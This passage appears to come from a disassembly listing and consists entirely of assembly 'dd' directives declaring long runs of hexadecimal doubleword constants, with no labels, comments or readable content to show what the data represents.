0FBCB00E4h dd 32C050E2h, 0C35C02A8h, 42DD00FCh, 0FAFD2F26h, 3FC6EC35h dd 6A877FF1h, 0D054A41Fh, 0E11C0F0h, 0DB774900h, 5DBEA812h dd 5A043BEAh, 0AD024600h, 3862538Ch, 0F3ED8B00h, 412945EBh dd 6D0502C1h, 0B3F48063h, 64109D80h, 9A006846h, 56DBEA45h dd 1B9F1Ah, 2452067Ch, 8D7BE5A1h, 87514300h, 9F4E89F7h dd 57650082h, 0E6E8DA99h, 393FE477h, 0C40E80D4h, 34DF5389h dd 9B990001h, 27F56FC6h, 0D800DEAEh, 0CA601CAAh, 1A5B678h dd 0E8CB0B28h, 0DC447712h, 3E3BE5B8h, 0B98B8F95h, 576740ADh dd 981943BBh, 17100083h, 0C15A2A05h, 20261B48h, 0F900D865h dd 184EA2C8h dd 8E4B2453h, 0A0348F88h, 518A93C3h, 67921CB0h, 0EEA10B0Ah dd 3201D8A4h, 0E576AAE8h, 577C030h, 1B54EACFh, 3A51C0C8h dd 870EF3D1h, 4F3D1ACCh, 19D00735h, 59BB5F00h, 0C3800072h dd 0F0BC9BC7h, 0DF00C80Fh, 8EB51ADBh, 0F15CDEh, 6409E399h dd 0BA774E17h, 8900FE5Fh, 3E0E211Ch, 3B2D1389h, 0CA0A0023h dd 1790B552h, 1AA5B913h, 16DC2400h, 7B63A4CDh, 67EE0312h dd 0A1ABC213h, 11CC40CFh, 36010DC0h, 24CE347Ch, 6DE4C9BEh dd 86530009h, 4E2931FEh, 0DD09C8BAh, 0A0736470h, 53773830h dd 580B0344h, 8CF450C6h, 3E60F090h, 0E5226CB8h, 4A3B0012h dd 0B4B8B51Eh, 96000DA6h, 0E6DFD1F4h, 73BE59h, 84AA4B1Dh dd 0B1A33851h, 0DBF8F61Eh, 0B8EE18C0h, 0CD03FFh, 81FA4C69h dd 857F248h, 64A1CB24h, 2ACF8700h, 2D9750Ah, 1ECC53A2h dd 0BA60AFEBh, 4EE20985h, 5F82A500h, 4CC5C087h, 0F73FE0Bh dd 0ECEE7B15h, 7F0F13E1h, 0C208758h, 39A751B4h, 306CB560h dd 149B485Ch, 9E5E00Bh, 5604820h, 1D00BB50h, 1F2DE10Ah dd 0E2FEA1EBh, 0C97A0362h, 5E713760h, 0BAF168A8h, 7EDDB505h dd 0C10387B0h, 0B5A82DB7h, 6ECB9880h, 6FE20008h, 0A3468691h dd 84B663AFh, 0E710BF00h, 16AB603h, 35791A34h, 0C777DA23h dd 0A0C39EE0h, 0DDDFC007h, 3CD063C9h, 0A7F5A4h, 756A43BDh dd 0BCC446F7h, 51059501h, 2732E676h, 59AB60h, 618EE073h dd 99F0FFD7h, 73C548h, 188375A9h, 8FE2BBh, 906087AAh, 38F72ED2h dd 54334A00h, 7131AFCBh, 0C3630F8Ah, 0C96FFCD3h, 0D4C13BC0h dd 20383CB9h, 5513014Fh, 2B1A27DEh, 0B24440C2h, 7FBB002Ah dd 0C90D9357h, 9600AB40h, 5C5868Dh, 1029AA9h, 0EFD56E50h dd 3D069B36h, 2BE40088h, 503B0986h, 0DAA44864h, 0CFB25100h dd 973A41ECh, 2EE8ED00h, 0CDD9387Ah, 5B06383Ch, 64A7F081h dd 70AE6644h, 293F7D98h, 4024EEFh, 0E0F54AF6h, 4A37318h dd 7CD8AB7Fh, 7E9480AAh, 2B1E25A4h, 0C8006722h, 8FF5B4C7h dd 0EE80A80h, 91077Bh, 3069A561h, 4C007716h, 7395BE91h dd 0BEC3Bh, 475EE843h, 0E4DDD0F2h, 67AEFF00h, 1C978CBh dd 1434005Fh, 0F770467Fh, 2500970Ch, 0EDAF8CBFh, 0ADE6FEh dd 0D9C28E87h, 76686B53h, 120F384Ch, 5C409250h, 0F88B324Ah dd 2D080079h, 2E01D5DEh, 0C09B2A3h, 806E54DDh, 0DB691211h dd 0A6C900F3h, 5A6CB646h, 6D00BB0Bh, 23EDD68Dh, 298BB7h dd 0E120E59Fh, 25210342h, 0D6E74D01h, 856E4E1Eh, 1904B822h dd 80775CBEh, 2C931D4Eh, 0E9FD416h, 83D3A000h, 60A00D76h dd 0B1E91003h, 9003899h, 0F1595BC7h, 8E44B8h, 0E1C97971h dd 41AA40B4h, 5547FF01h, 0AF4DA1DBh, 403411EDh, 0A6B50218h dd 0BD16E912h, 537EFA83h, 0B2E08CEBh, 0B401CF6Eh, 8A5CEA3h dd 0E48061DBh, 276D7613h, 2D90E4B0h, 1C00C890h, 0DBDA60DCh dd 7F20C3h, 1039319Ah, 690C3B71h, 76BBBC00h, 0BF3F546Bh dd 2B70038h, 0E2D51E0Bh, 0E700F286h, 0A35978CDh, 11D036h dd 9F3CE1Fh, 823A8B16h, 404C9D00h, 3EB151AEh, 327A0072h dd 784FA09Eh, 0CD051A36h, 4CB2A7B0h, 0CC80E01Fh, 7CDBA6A3h dd 0B34F0011h, 658DAECFh, 5000D685h, 0C38C169Bh, 0A3CAB6h dd 82CC2BB7h, 378D9AB8h, 9350DC04h, 2CE07505h, 0AF008487h dd 5C96D519h, 7858FD69h, 49790E76h, 0CDCE264Bh, 9935DB20h dd 0AB003433h, 6D620681h, 48C8F4FBh, 1400DD2Ah, 29BE7A1h dd 0EB001811h, 0CB66E450h, 1013708h, 0BD14FECEh, 0E8042A6Eh dd 0FB26FC35h, 6D001C9Ah, 3783708Bh, 0D6070096h, 0EF8D8FEBh dd 3300AE85h, 0FFEAC2ACh, 0DC409Dh, 0F3E851E4h, 599B822Bh dd 3A152A1Ch, 49358DC0h, 1BE2C8Fh, 0A21A0AA6h, 3012F179h dd 58018E4Bh, 92FCC82Eh, 39C8D435h, 3AF60036h, 334F0ED2h dd 0A035AE6h, 61CF06Eh, 3F7B9902h, 71D6E0EEh, 166B00A1h dd 0E926C1F5h, 0C0E3992h, 40D64744h, 0A39FB1A2h, 0FC80015h dd 1ED44F6Eh, 940034D3h, 2C63CA4Ah, 0FCC148h, 495ACFF8h dd 0F97E2396h, 0FC78C03h, 0C8CDB530h, 78B97C68h, 15E91C4Eh dd 9A5303A0h, 0E6D9109Ch, 5276D0C8h, 7CA2002h, 40DCC3C2h dd 546ED28h, 0D60BE3B7h, 0A7CE670h, 0F42855B3h, 78269600h dd 4C0F20C2h, 642E2A66h, 681D0058h, 90BEA786h, 0B4EBB30Fh dd 0C7809F5Dh, 0CACBD253h, 84C9061h, 33DB1206h, 3B94803Fh dd 0DEE9EB89h, 0F8690090h, 0C0550947h, 590E77DCh, 0C0B4236Eh dd 1E6A21A2h, 0D18700C4h, 0F4124C98h, 4F1771E7h, 7C826525h dd 44D387CAh, 0C13A9C30h, 0AFE509A2h, 3880071Fh, 8A232920h dd 5A903D00h, 86F52208h, 0E0A2001Bh, 39DEB2E3h, 0C63C59A4h dd 0C02D0990h, 99D040F9h, 19CC0026h, 15174862h, 1400F2B2h dd 0F43A258Bh, 0F0E0F9A0h, 0B7800EA6h, 5600857Dh, 18D04859h dd 9F957A00h, 0E540124h, 55830586h, 0C0AE920Fh, 6544D3E2h dd 59A25603h, 0B8CA3FE4h, 0A61D23Ch, 77135AE5h, 0A59D00E9h dd 0A2456A39h, 50BF1000h, 0F6B92BB1h, 90C40021h, 0BE3572A1h dd 2D1C429Bh, 0FCC1D6h, 9741435Dh, 5883A3h, 9BCDF4F2h dd 8927F8D5h, 0CF1C0B02h, 5FF6ED15h, 8065AB40h, 0A0001490h dd 642EC41Ah, 12668D48h, 802DED20h, 87816740h, 37B02400h dd 63A35DF4h, 7305001Dh, 0A4A77DEBh, 0B0EE83A2h, 44B0E00h dd 0E9612958h, 913003F0h, 0F16A20E7h, 9ADF3DA8h, 8E9F6600h dd 0F62233Fh, 823700CAh, 0F4422B27h, 64BC857Fh, 2240C61Ch dd 4B1C3264h, 947109D2h, 9081BC3Dh, 80E3166Eh, 0DF018CE2h dd 8D5C95h, 0EC51F20Ch, 65524415h, 939E6600h, 64DCC4A2h dd 95280745h, 0A0EAE199h, 3E072F9Dh, 5F90CF00h, 0E617DC21h dd 61861CEFh, 544A80FCh, 8B3080AFh, 553E3802h, 5307EBC1h dd 0A7C2003Ch, 0E99DFC36h, 0B500DB90h, 18954DD3h, 8AED1Fh dd 0BFF72A20h, 5C35106Eh, 2C0F4FEEh, 8FB46FF6h, 0D4E98095h dd 0B594B6h, 1FD3A280h, 97661E58h, 0B91ADF00h, 0B187766Ch dd 0F3C1035Ah, 51A27945h, 7CB850E8h, 9EE2E90h, 93627D13h dd 7A4BC428h, 6B4C00D8h, 0E3E68FB4h, 2100D2C7h, 28C09D02h dd 332C7AACh, 7368691Ah, 88C875F3h, 9D0094A7h, 0B1414792h dd 36BCDFh, 8758840Fh, 7285CB57h, 84261499h, 2D7C9E3Ah dd 917732C0h, 7BAAB6F7h, 1C8800D0h, 3FB947C3h, 5516019Fh dd 0DB009C87h, 675038A4h, 80B70002h, 7D03FD8Bh, 23001F05h dd 2FB80BCEh, 61C42Ah, 0EF1530ABh, 641EF3DDh, 5F6D6800h dd 9C03B808h, 283409F8h, 0A004A85h, 291712BAh, 0EA8A501h dd 0AE42CCCh, 769B3F4h, 2DAFC440h, 0C9B2607Bh, 9F09BEABh dd 0A00215h, 217D127Bh, 7FAE005Ch, 6C0D94CCh, 5DE25A53h dd 0ADD56B0Fh, 982010Ah, 34E09A66h, 90F53A79h, 70540079h dd 7EC5D25h, 0C600ABA5h, 0F30DCFE4h, 0BDF27Ch, 0E0AE16C1h dd 0C480F533h, 553FB000h, 0E8655703h, 0BAB1009Fh, 537893A5h dd 240032E1h, 2EE5F108h, 0ED56F5Ch, 0F467C420h, 76B1AC20h dd 550046B2h, 0A3FCF843h, 0E4D7517h, 0DBE2EAB0h, 0E3C3E7C1h dd 0C0F121B3h, 2B026D78h, 0C7E467A5h, 5CF8608Bh, 161A051Eh dd 206CC49h, 0ACBDA2EAh, 744024E2h, 9A009424h, 0F232A8DBh dd 79F73EBh, 6993467Ah, 8A2F503Ch, 7E58A109h, 0A47A1FCh dd 0B7FDC8h, 1A902938h, 9E6DDA4Ah, 241B830Fh, 447380D8h dd 43C56h dd 4BDB5CCDh, 9C11A799h, 43046EFAh, 290852C1h, 0AC0344C0h dd 2EF50066h, 7CADDABAh, 0D4001B18h, 0C208829Ch, 1F793109h dd 44B0D2h, 1C2057E9h, 8F009FD7h, 8E8DC4ADh, 0FA1D53h dd 78E97787h, 0B6A7F288h, 0BBE1F00Eh, 10BF6086h, 326746h dd 0C6C082A0h, 0B4187E21h, 952F2918h, 60AAB8h, 673A9315h dd 997E7B36h, 0A1E0CA0Fh, 225B40CEh, 0BB51D9h, 525F5798h dd 0B9D491A6h, 611B1F00h, 7673DB0Dh, 6C221C07h, 296B491Eh dd 23B1E400h, 0DC001666h, 38367BD3h, 0AF10ECh, 0E5959AD6h dd 7E848D85h, 6E830400h, 4ED2C932h, 0B54A05A6h, 3028FC55h dd 0C52DFD80h, 9D6C6813h, 1238E800h, 7CDE1C35h, 3DC70091h dd 1B01D7B7h, 78004F33h, 4A407CA1h, 0F2F3EE1h, 445D2E7Dh dd 0B0BB6E64h, 0E2FA1E34h, 0A5355239h, 404562h, 97466507h dd 861215F2h, 4401E8Dh, 0A8FAAE5Bh, 452000CBh, 6DCFCE60h dd 0F0F18175h, 170E22D2h, 0E7A6AF7Ah, 6651BD65h, 5CC4CAC7h dd 2DEE00CEh, 5B24FC53h, 381D9774h, 0B50017E7h, 0F1952B77h dd 0B2DD0061h, 69D186BCh, 0AB0083A5h, 376F7887h, 959EF9h dd 261FC28Ch, 0BAF4EFC8h, 503B6D00h, 860BA276h, 0B7709Dh dd 725E488Eh, 0C585D359h, 79009273h, 4634C474h, 0DE522Dh dd 8E8048E5h, 0D603C5BCh, 652B7200h, 0ECCFB6FFh, 3DD97362h dd 481CF205h, 15C04794h, 2D805F0Eh, 1EE141CFh, 0E7AB8E16h dd 8985EC07h, 88EE63B3h, 802493h, 391D329Bh, 3CF4DDF7h dd 95152717h, 4D5E6207h, 0D33D7E90h, 54A50ECEh, 8006AD4h dd 982C8299h, 56002D7Fh, 2148391Ch, 708CDA4Dh, 29BB00FDh dd 0CD095F4Bh, 0E6000DCCh, 1CEEFFAAh, 1330D87Bh, 801E56E0h dd 0F40587F0h, 57B5E303h, 8851E908h, 75350B2h, 0B065F085h dd 2A0C3F1Dh, 0D0000A48h, 64147FF5h, 0E2E09041h, 2E091407h dd 50018BC9h, 117F0603h, 0CF9FC432h, 0A1530B00h, 6B8FA82Ch dd 0AEB124B8h, 0E83A0132h, 801BEDABh, 0E1105489h, 7F96DFCh dd 17B16E55h, 0B998C0E9h, 0AF0EF703h, 0E0FA9C33h, 0BA5148C3h dd 0B8B31C36h, 1D80C0BCh, 3B9F6D73h, 0E9F98300h, 215D2AFBh dd 47AF870h, 41A952CBh, 9DB88056h, 2AE2FA0Fh, 9B5F6901h dd 83D3FC5Eh, 661F3C41h, 9109DFCh, 77CFD70h, 0F513B0D8h dd 0C0B0A131h, 598A007Fh, 293C7D4Dh, 472438DAh, 803F167Ah dd 266C5177h, 60E6E3F9h, 5914BCEBh, 9B1CF366h, 29C046BEh dd 68E9A35Fh, 0DE9E07BBh, 808EB9A9h, 923A6DE6h, 0B4BDA400h dd 4EF02A87h, 0C7AC000Eh, 9F4F39CDh, 0D50047EBh, 0ED95EF12h dd 734B3E1h, 0D6063507h, 5913E71Ch, 0F70018F0h, 4EE1176Ch dd 1361AA8h, 41021ECEh, 53147ED2h, 0FE8051BCh, 1300A92Bh dd 2A025A0Ch, 9A655E9Fh, 734204C4h, 80201936h, 1D9BB7EDh dd 0CFFE7101h, 1C15983h, 1E86A9DCh, 0C736FC9Ch, 0F6AD04EEh dd 6A3C8020h, 72BF8239h, 0F06955ABh, 3158C0F4h, 0CE4E9C2Eh dd 7A8D290Fh, 0B5A0E303h, 6236885Bh, 43530630h, 202FB761h dd 80F87038h, 1C0EFFC1h, 5234F67h, 654C41DCh, 6D4EC175h dd 7769C007h, 0F7B6339h, 0C010ED22h, 0E83B99BCh, 1CDCFC86h dd 0F3E0DF7Ah, 14F83F20h, 17003D70h, 0DE12C1E2h, 51C0729h dd 0F0166A98h, 1EDA00AEh, 1966637Eh, 0A3BD8C1Eh, 0D73C8340h dd 0FEBBB296h, 0CF110EA1h, 12032FA9h, 608826B9h, 46005A65h dd 0B88E7574h, 71178AD2h, 386EEA0h, 7E3F8B0Eh, 87B08281h dd 9907F404h, 0B43BD007h, 70C028F0h, 9E6A014Ch, 31CEAC5h dd 7A98C3FBh, 0EB0DF27h, 3B50E100h, 1E6526Ah, 0ACEC28BAh dd 0FFC203BEh, 84CAD01Bh, 36054EC0h, 3565F900h, 0E4FCF6A1h dd 0F1890087h, 0FAF3C8EEh, 0D3005AAFh, 910A4E3Fh, 0C3A678h dd 4C5C0CE2h, 431A859Ch, 0F5115113h, 3AC03900h, 5D84DFh dd 6148ED7Ch, 0F90C3164h, 11FE3E00h, 0E28842ABh, 0C8CD26FBh dd 177008Ch, 0ADEE271Fh, 70008EF0h, 885349F3h, 216061h dd 0FDB6C005h, 0EB28E604h, 3F1B1C00h, 55B94B1Eh, 97D60788h dd 50D79D69h, 0E9FA2502h, 9000E5FEh, 7A2B093Dh, 38141831h dd 0AA800CD9h, 588AB51Fh, 0B7393BABh, 850E0074h, 52916E9Ch dd 2A560088h, 316132DFh, 7F00B078h, 0E92079F9h, 0A19A9h dd 15DE1EF5h, 0A828C7E8h, 80E2FA3Fh, 5865E34Eh, 0FC951F89h dd 72BEA12h, 4FCB0F51h, 0F32CA0DEh, 8D07BD87h, 8B17C736h dd 0AE73A260h, 2A4F302Fh, 815982A8h, 8858BC18h, 7A94648h dd 830FF94Ah, 1DD2205h, 42B082E3h, 28000A78h, 9FD5BD75h dd 3EC40240h, 80873420h, 30A1CFC5h, 0BE3105B2h, 0A7CD3D1Eh dd 0AF2FD2C0h, 0F2CA5F03h, 0FC4C0050h, 7B6FDA44h, 6B01C2F1h dd 753A12A5h, 9A401C6Ah, 748DCCA0h, 187A1E97h, 4DF0C85h dd 20013B20h, 1CCE11DBh, 60D2EB5Ch, 7D639230h, 62870032h dd 94A08AB3h, 0F80FAE0Eh, 1F8BE0DCh, 7D82D240h, 0A7E42072h dd 0CCC5C038h, 7E0359BAh, 0EA78F432h, 0F7C2A86Dh, 6E740664h dd 301F337Bh, 9BD060DEh, 9EDEA5C7h, 0F8CEC0E7h, 44CBE240h dd 9DBE006Ah, 0D51662D8h, 0E0BDC94Ch, 4B4750h, 1BA08817h dd 7C60659Fh, 0FB2A7100h, 0C73790DAh, 1A72074Ah, 0C07835FAh dd 0C66B7C96h, 88DF777Eh, 0CE9365C0h, 0F472888Ah, 70630C83h dd 3B21D43Ah, 0BB652107h, 0A0EE3096h, 0E842CBC2h, 854E0151h dd 0DAD6FE8Bh, 1E68802Dh, 0C85C15FDh, 0CA4303FFh, 95ADE072h dd 59A0BBA3h, 0DC5C2523h, 4CC003Ah, 0EC75F64Dh, 0AE07002Ch dd 2BF7848Dh, 350093CAh, 5313378Eh, 3C103EF0h, 3400577Eh dd 0E5D80D3Dh, 997C2F70h, 0FD0F817Bh, 7F9763h, 0E840419Ch dd 414036Ah, 5D217135h, 0AA2D7D98h, 0F81363Eh, 0E19A012Bh dd 11A62390h, 279B60D6h, 0C645005Dh, 0D9849E06h, 0B6015A4Eh dd 9A6E8E68h, 0C6206F02h, 98C30074h, 8F292260h, 2A0EE4E8h dd 3AA899Dh, 0E80719B4h, 39CCCA14h, 0A90001E2h, 6283724Ch dd 4000A796h, 0DA5E3666h, 908699B7h, 0CAFD0324h, 3AB5AFB2h dd 0F61FC0EFh, 653E159Fh, 7AED8319h, 0C0270C2Fh, 38424718h dd 550FE738h, 0BD604C86h, 9901D7E8h, 0F12F7301h, 1B4FBAC9h dd 933730h, 0CDB3FD9Dh, 0A03A8E9Fh, 0A7F31A00h, 886B74Dh dd 3E9A7D84h, 0F982F745h, 30A115A5h, 0B627A860h, 98C7EB07h dd 61C0A814h, 31873F2h, 0DCD93B0Dh, 0D7B011B1h, 2C0E12B6h dd 22797CD6h, 0C06A5180h, 183FE719h, 5022CAC1h, 4B009DF2h dd 0B04918E8h, 4C26AABh, 0D11E8994h, 9923801Dh, 0CC00E563h dd 0ABFBAE4Fh, 29F6F37h, 41E15354h, 56E0E95Ch, 5600A774h dd 758D9C07h, 4BF951h, 94E59ABDh, 95571018h, 9021A300h dd 9F3CFE8Eh, 33DFCC2h, 385DC78Ch, 75A82FDEh, 85003F8Dh dd 1C3143A4h, 4AF5401h, 0B5DAA70Bh, 9287C361h, 48D212F0h dd 9645F600h, 94DBC05h, 0FA94007Fh, 27C254E4h, 8E003881h dd 20BA6E61h, 0E58B4Bh, 0B936CAA8h, 4E4523Ah, 7696A00Ch dd 5E18866h, 9B93BA45h, 55D1C0FDh, 4005DC8h, 36995423h dd 0E0852Ch, 0F4E1D843h, 76F3131Dh, 7C00037Dh, 0C916093Fh dd 0DB846Fh, 8C9E737Dh, 0DCE25AA1h, 0FFEBB500h, 0E8F160CFh dd 7ADF00DEh, 1D8C6C76h, 83007345h, 4750B922h, 0F815653Bh dd 66AF0052h, 0B285D84Ch, 6800584Bh, 9BFF51A5h, 7EB66935h dd 384C3AADh, 0A3836580h, 0A6B28FCh, 14F0055Ch, 3DC1E7Bh dd 0D477739Ch, 6332E804h dd 47E40011h, 9A695FC4h, 1D245C7Ah, 3B004492h, 8E273FE3h dd 0EA340E2Eh, 0AB60C65Ah, 0EC72B36Eh, 80D36F3Eh, 0DB3FA254h dd 39CE29FAh, 7AA69Fh, 8E632150h, 5112C6D5h, 75588890h dd 300900C6h, 3997F69Eh, 474F00BBh, 24A75F31h, 67001259h dd 5C76C1D2h, 19D8CFEh, 0C53A7843h, 81D852A2h, 0BCA6D408h dd 59FC6598h, 0A4B548CBh, 10FB300h, 0B8C52CF6h, 221AC000h dd 0B78A906Ch, 3F0200ABh, 55CB9CB1h, 15004F9Bh, 0C50E1433h dd 1BD9EBh, 56AD3647h, 0D17E790Bh, 0D76D8500h, 42068EABh dd 0E789075Fh, 0A0957521h, 9EDB099Ch, 0BD0A3F00h, 0E3D7A8B4h dd 88020067h, 0BB2E6683h, 6B00B5E0h, 79864C3Ch, 7FE7D307h dd 9A083020h, 6891D220h, 85895403h, 80AE6A43h, 0C56E8Bh dd 9C3F994Ah, 1CE21F81h, 89EEE400h, 23164483h, 0BDC00BA4h dd 89F5FE25h, 97807F09h, 650CD43Dh, 2635F60Fh, 28B7838Ah dd 8D4AC9DCh, 7FE1BC34h, 815303A4h, 21301B93h, 15B0D7F3h dd 8D1C3BA8h, 5FC12EBCh, 7A09E37h, 7D190F0h, 0D952CEF2h dd 7A981112h, 0EC9831B0h, 83E2ABCBh, 0E8E6C9F3h, 66009E22h dd 1F03BF60h, 342FC3h, 18391509h, 7E28CA50h, 0A27B9DF6h dd 391B8448h, 5FF29C36h, 0FF254080h, 0EDD6E4Dh, 0B00A643Fh dd 930E7A0h, 7700E092h, 9A673207h, 1CDEF5A5h, 40D53A1Ah dd 0EB3534AAh, 1676C739h, 4F888200h, 21DD2799h, 0E01D0006h dd 56B013D1h, 320FDAE2h, 0A0DFE688h, 0BE8E0311h, 362C0740h dd 8025F9FAh, 0E97A8F7h, 39309F1Eh, 20F6B9CCh, 0A57B1C03h dd 176C8042h, 0D41FFFC3h, 4E04557Ch, 2665F72Fh, 994D54C0h dd 0FDB00CBh, 63558C51h, 31E41ACh, 1A40965Ch, 0B344FAE8h dd 77390002h, 8F826BCAh, 2B001F23h, 2A632597h, 328C7Ch dd 57301134h, 2D2FD709h, 752FE26h, 5D709C05h, 0AEAD9C0h dd 0DFEAFh, 52400966h, 88E52407h, 3786CA00h, 1C658E3h dd 955C00BBh, 2ED208AEh, 3A3B7F33h, 6BE40007h, 203FBE05h dd 0E09E00FCh, 4CE1F6F3h, 31EAFD2Dh, 2A795313h, 0A1551840h dd 6002CCh, 3D4F66D6h, 9EDC9689h, 0DEA73A00h, 0E71E75F1h dd 9D330060h, 0A4048E0h, 0C0014C3h, 5935D9E6h, 0B9050E8h dd 3D93BE0Bh, 9B413101h, 9608952h, 71D400CBh, 1784E8Fh dd 0CE44027Ch, 0ED17D469h, 42898754h, 19E401h, 62134A68h dd 3612006Fh, 2746F074h, 6B982CC0h, 0F818F3F8h, 0A21033D6h dd 23F0BAh, 0AE752A93h, 66A66DE5h, 0BF9F100h, 0B6D1A128h dd 79830067h, 1D37073Fh, 42000449h, 86B8CB8Dh, 18AD8AEDh dd 89466AEFh, 3000E076h, 4A3EF407h, 3C09DE97h, 360908C3h dd 8807B2Ah, 0BFC8D286h, 2E61187Ch, 0A0A1D1E9h, 0FBE01C61h dd 0EF22003Dh, 0AEACD59Fh, 0DC18B289h, 4121B724h, 90A486h dd 75572F67h, 7782F269h, 0ED5C39h, 2E43CDDh, 1A3DE29h dd 5997B7Ch, 0C1BC2B07h, 0CEE48141h, 101A4284h, 331A4D4h dd 36FDE1CDh, 5E90F54Ch, 0A100E924h, 0CCA59F2Bh, 490B054h dd 0E42DCE6Dh, 2F80AFFCh, 986A69ACh, 4DE30024h, 532494CAh dd 0EC02929Ah, 0B9BEDBAEh, 0B8805FF7h, 0BDCC1A26h, 513CDC12h dd 0DDE100EFh, 3717976h, 0BD1A260h, 1E4FEE8h, 3CFC961Dh dd 0EC21E313h, 52EEE929h, 0C633F8A8h, 39A9E600h, 4E7DF8D1h dd 0CAA3005Bh, 0DBFCE3B0h, 2C069850h, 600618C6h, 7C940058h dd 3B8EBA63h, 0BE00A4B9h, 0DD4C135Dh, 2B4430h, 971F7139h dd 0AFF07063h, 10117F00h, 3725E691h, 31C6006Ah, 0C91997B6h dd 51005DADh, 669D8778h, 20FFF9h, 5CBA36A6h, 990DD9Ah dd 245E2C3Bh, 8201F5B1h, 0E7836926h, 0B8E35021h, 7D2434Dh dd 0F2283EBEh, 2C11088h, 0C7008412h, 24A88D2Dh, 41B4F4h dd 35B31DE6h, 231EA22Fh, 930092F0h, 0B8E8DF54h, 0CA9B6Fh dd 0F4FE7A6Ah, 1B905E5Bh, 351E511Eh, 0B5E2BD80h, 233076h dd 26B07EF1h, 4FF93A77h, 0EA393261h, 85F048DBh, 0DF89003Ch dd 0FFD1F1F4h, 0F4E1E48Ch, 991A93FDh, 80308494h, 7A598237h dd 0B9AA4885h, 71EA800h, 93D6BA34h, 0EB158F00h, 0C117675Ah dd 0D7FC00D9h, 141958D8h, 7F00CC2Fh, 0B03541A1h, 37152D2h dd 0E030F42Bh, 600290CAh, 59875475h, 0E94FC0AEh, 9650023Fh dd 4049E27Eh, 3A1935C0h, 53806F61h, 0D330F6h, 6D185038h dd 28CC9736h, 0D3727AEAh, 863E3F00h, 69B7AC56h, 514C1846h dd 0FCEE3094h, 1DC703Eh, 6192F6A6h, 63E80B42h, 6049608Ch dd 20043006h, 0EB2F9E03h, 0D0F5EDB2h, 7D8C543h, 0BF325951h dd 0E0DC4745h, 407C2263h, 386CFB00h, 42E48875h, 60BD00F5h dd 0AEC470E9h, 0C2007C43h, 97D3D2FBh, 13F28h, 0B4811775h dd 0E1166FCBh, 6D438E00h, 39E28C2Ch, 77208h, 0DDA898B5h dd 6B508914h, 0BB029F76h, 0AF421228h, 0F05560CCh, 902E010Ah dd 408B24E5h, 8912C427h, 0CA0AC47Dh, 20D90581h, 8CF4CB58h dd 80225C3Fh, 1883F599h, 8D288Ch, 0D2FC2E1h, 53844427h dd 0F9BFA23Ah, 3261931Fh, 6C374203h, 5B490B6Fh, 0D08AC4B2h dd 691D99h, 6774229Ch, 0DC79C5B4h, 984E571Eh, 8E5FDA81h dd 77209672h, 50E87Dh, 7FB53B4Fh, 0A0140D07h, 0BE75FB01h dd 7A33C357h, 0DF6E0E60h, 39CDDF28h, 13E8D01h, 4080C295h dd 0F29A89A4h, 726ADF03h, 0AD7D99B1h, 8359A800h, 0B025BE12h dd 0C194000Bh, 47376478h, 0F1605ECEh, 46DABBB8h, 28DE8B7h dd 0A28675F5h, 80B38C67h, 1A732DF0h, 405C9023h, 0E2AD6EB8h dd 0DC8A9602h, 838726E0h, 0FA8C53ACh, 0BEF0A077h, 0DD4AD0h dd 0ECB96D67h, 452D726Bh, 0C700D277h, 0CBC95127h, 3056836Ah dd 44E05038h, 0F400C8CFh, 0E5DAEC85h, 0A126A5Bh, 86284CFAh dd 707E0180h, 4E3F9E06h, 90293A20h, 8A80EF3Dh, 0B9B51598h dd 723E3C3Eh, 0A712AF02h, 80C8E1B2h, 0DB8B96A4h, 0F107032Dh dd 0D50E7661h, 9830E47Ch, 0B250207Ch, 0CC3E0036h, 8B2FAA70h dd 610021B7h, 8DE5D16Ch, 0BEE155h, 146ACDA8h, 0CC44AA2Eh dd 0B2A1930Eh, 0CFBB6FDDh, 8C55E21Ch, 8E544034h, 49E40036h dd 67C37C0h, 433F0A77h, 960C80C7h, 6D7505A4h, 1DB30ECAh dd 0B6A0FFD3h, 13C214FAh, 89272400h, 7490A9Fh, 0D0030FB2h dd 35E8D3Dh, 4C5866AFh, 0FB9D2C98h, 0B200D378h, 45BD6C1Ah dd 18179943h, 0D869FECEh, 0C50002B7h, 86033E85h, 0BABF5Ah dd 0A6063657h, 37545E2Ah, 0D6D25501h, 615BF389h, 4F60F20h dd 1BF53B4Dh, 146C90BEh, 0FA079439h, 0AF384259h, 92705347h dd 61770B6Ah, 0C1D1385Fh, 0EC73EC28h, 1CA3DD00h, 0B793DCD5h dd 6FFD2AC9h, 63D200B4h, 0F8D79E04h, 62067821h, 0E17F89B3h dd 85480068h, 1158E53Fh, 0A63D0CAEh, 74EF00F5h, 362507E9h dd 24280046h, 0EEE8EDD8h, 0F8004EB1h, 0CAD41F15h, 7E59090Eh dd 514903A2h, 9DC763E4h, 1BACEC0Eh, 80CA6EB2h, 0CEB7C3FAh dd 962300BBh, 8B4FD095h, 2B372F0Ch, 9E30F8h, 961AEC36h dd 531E007Fh, 665CBD10h, 63E958Bh, 29045225h, 0D1560CE0h dd 45A11808h, 9BE2C035h, 0B4345800h, 2C435E99h, 8B70AE7h dd 40C9E48h, 445C672Ah, 6621A437h, 42DF0862h, 9B0E0841h dd 0BCEE8451h, 909A4E6Ah, 6CAFF382h, 108FA222h, 24A0AD4Fh dd 1184853Eh, 10593A20h, 21829C46h, 12226F09h, 2A5A1032h dd 0ED6E0CA1h, 0F5C31350h, 2FFA3004h, 843C421h, 23374036h dd 0B6339314h, 0DB9B00FCh dd 354303A0h, 11202A2Ch, 0DED800A8h, 2283A7A9h, 1A3B0A89h dd 0B8982806h, 5ED00900h, 0A9D515DAh, 0F0460A23h, 0C03C3Fh dd 4E7CED7Fh, 0C4487716h, 484C0214h, 482ED97Eh, 3A97848h dd 401B35DBh, 89DB854Bh, 0F82DDAC1h, 61960FAh, 1408452Ch dd 752220ECh, 0E4E0F4h, 8061FBA6h, 3EB6090Ch, 154D8E15h dd 8438094Ch, 0E140209Dh, 0F2EF8521h, 116E00C5h, 345AEC9Eh dd 807AF0E2h, 16B7DD00h, 89F57C9Bh, 0A3EE0042h, 5BB29D08h dd 0B6006432h, 2475139Fh, 2E86C28h, 0EB8BCE6Ah, 1CB1B8D1h dd 0A2281A0Ah, 1DB5E0BBh, 8078F3D5h, 3FFDDBA7h, 0B12B41F6h dd 67E0C092h, 891E6Ah, 0D2379046h, 39C5DABFh, 47148051h dd 9DDF61C0h, 7346E021h, 8486E50Fh, 0F7B020B6h, 3A6830E9h dd 15A99FCCh, 5D58005Ch, 1D56D6Ah, 0F10082EAh, 9DC1DA7Fh dd 24B45399h, 1313A1h, 48372176h, 0D809C751h, 81420259h dd 927445CDh, 9B7C024h, 0E6408584h, 0D7D1B400h, 0D43BE25Fh dd 